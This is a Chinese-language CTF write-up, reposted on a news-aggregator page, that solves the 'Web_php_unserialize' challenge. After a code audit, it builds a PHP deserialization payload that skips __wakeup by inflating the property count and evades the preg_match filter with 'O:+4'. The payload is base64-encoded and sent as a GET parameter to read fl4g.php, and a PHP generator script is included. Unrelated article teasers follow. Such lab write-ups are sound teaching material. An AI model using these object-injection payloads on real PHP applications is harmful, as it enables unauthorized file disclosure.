[CTF/网络安全] 攻防世界 Web_php_unserialize 解题详析

news/2025/1/15 20:36:05/

代码审计

这段代码首先定义了一个名为 Demo 的类,包含了一个私有变量 $file 和三个魔术方法 __construct()、__destruct() 和 __wakeup()。其中:

  • __construce()方法用于初始化 $file 变量
  • __destruce方法用于输出文件内容
  • __wakeup() 方法检查当前对象的 $file 变量,如果不等于 index.php,则将其重置为 index.php,从而防止攻击者通过反序列化攻击来读取 fl4g.php 文件的内容。
if (isset($_GET['var'])) { $var = base64_decode($_GET['var']); if (preg_match('/[oc]:\d+:/i', $var)) { die('stop hacking!'); } else {@unserialize($var); } 
} else { highlight_file("index.php"); 
} 
?>

这段代码主要是用于接收 GET 参数 var,使用 base64_decode 函数对 var 进行解码,然后通过 preg_match 函数判断是否包含类似 o:2的字符串,如果存在则中断程序执行,否则调用 @unserialize 函数进行反序列化操作。

解题思路

逆向思想:由于反序列化时先执行wakeup函数,故先绕过wakeup函数,再依次绕过preg_match函数与base64编码。

构造初始POC:

O:4:"Demo":1:{s:10:"Demofile";s:8:"fl4g.php";}

wakeup绕过

修改反序列化串的对象属性个数,使之大于真实属性个数即可。
构造POC如下:

O:4:"Demo":2:{s:10:"Demofile";s:8:"fl4g.php";}

preg_match绕过

preg_match的正则表达式/[oc]:\d+:/i表示匹配任意个位于开头的 o 或 c 字符,紧接着一个冒号,然后是一或多个数字,最后是一个冒号,不区分大小写。

即形如o:2:的字符串被过滤,使用 + 即可绕过(固定知识点

构造POC如下:

O:+4:"Demo":2:{s:10:"Demofile";s:8:"fl4g.php";}

base64绕过

由于题目将字符串进行base64解码,故将POC进行base64编码即可:

TzorNDoiRGVtbyI6Mjp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ==

GET传参

利用var构造POC如下:

?var=TzorNDoiRGVtbyI6Mjp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ==

在这里插入图片描述

PHP序列化的时候对public protected private变量的处理方式是不同的

public无标记,变量名不变,如s:3:"qiu";i:2;

protected在变量名前添加标记\00*\00,长度加3,如s:6:"\00*\00qiu";i:2;

private在变量名前添加标记\00(classname)\00,长度+2+类名长度,如s:17:"\00FileHandler_Z\00op";i:2;

method 2

由于手动构造POC链会出现输出乱码的情况,因此法二采用工具进行序列化。
代码如下:

<?php
class Demo {private $file = 'index.php';public function __construct($file) {$this->file = $file;}function __destruct() {echo @highlight_file($this->file, true);}function __wakeup() {if ($this->file != 'index.php') {//the secret is in the fl4g.php$this->file = 'index.php';}}
}$Q=new Demo("fl4g.php");$Q=serialize($Q);  //序列化$Q=str_replace("O:4","O:+4",$Q);  //+号绕过$Q=str_replace(":1:{",":2:{",$Q);  // wakeup绕过$Q=base64_encode($Q);  //base64绕过echo $Q;
?>

在这里插入图片描述


http://www.ppmy.cn/news/1563419.html

相关文章

Java Stream流操作List全攻略:Filter、Sort、GroupBy、Average、Sum实践

在Java 8及更高版本中&#xff0c;Stream API为集合处理带来了革命性的改变。本文将深入解析如何运用Stream对List进行高效的操作&#xff0c;包括筛选&#xff08;Filter&#xff09;、排序&#xff08;Sort&#xff09;、分组&#xff08;GroupBy&#xff09;、求平均值&…

从github上,下载的android项目,从0-1进行编译运行-踩坑精力,如何进行部署

因为国内的网络原因&#xff0c;一直在anroidstudio开发的问题上&#xff0c;是个每个开发者都会踩坑 一直以为是自己的原因&#xff0c;其实很多都是国内网络的原因&#xff0c;今天就从一个开发者的视角 把从github上一个陌生的项目&#xff0c;如何通过本地就行运行的 首先…

Vue 框架深度剖析:原理、应用与最佳实践

目录 一、Vue 框架简介 二、Vue 的安装与基本使用 &#xff08;一&#xff09;安装 &#xff08;二&#xff09;基本使用 三、Vue 组件 &#xff08;一&#xff09;创建组件 &#xff08;二&#xff09;组件通信 四、Vue 模板语法 &#xff08;一&#xff09;插值 &a…

【C】初阶数据结构2 -- 顺序表

前面学习了数据结构的入门内容时间复杂度与空间复杂度&#xff0c;就可以来学第一个数据结构&#xff0c;也是最简单的数据结构 -- 顺序表。 本文将会介绍线性表、顺序表的定义&#xff0c;以及顺序表的基础操作。 目录 一 线性表的定义 二 顺序表 1 顺序表的定义 2 顺序…

为ARM64架构移植Ubuntu20.04换源的发现

在为ARM64架构(RK3566)移植ubuntu20.04的时候发现在更换为国内源之后&#xff0c;无法正常完成apt update,报错为: Ign:25 http://mirrors.aliyun.com/ubuntu focal-updates/main arm64 Packages …

45. 跳跃游戏2

题目 给定一个长度为 n 的 0 索引整数数组 nums。初始位置为 nums[0]。 每个元素 nums[i] 表示从索引 i 向前跳转的最大长度。换句话说&#xff0c;如果你在 nums[i] 处&#xff0c;你可以跳转到任意 nums[i j] 处: 0 < j < nums[i] i j < n 返回到达 nums[n - 1…

LeetCode | 图文详细描述动态规划DP算法及经典题型

本文将用简单直白的方式&#xff0c;从零开始带你掌握动态规划的精髓。你会发现&#xff1a; 动态规划其实没那么难——它就是递归的“记性”版。状态转移方程不再玄学——从题目思路到实现&#xff0c;手把手教你推导。经典题型剖析——从“爬楼梯”到“背包问题”&#xff0…

web.xml常用配置

web.xml是Java Web应用程序的部署描述文件&#xff0c;它位于WEB-INF目录下。web.xml文件主要用于配置Servlet、Filter、Listener、MIME类型、欢迎页面等组件&#xff0c;以及一些Web应用的上下文参数。以下是一些常见的web.xml配置说明&#xff1a; Servlet配置&#xff1a; …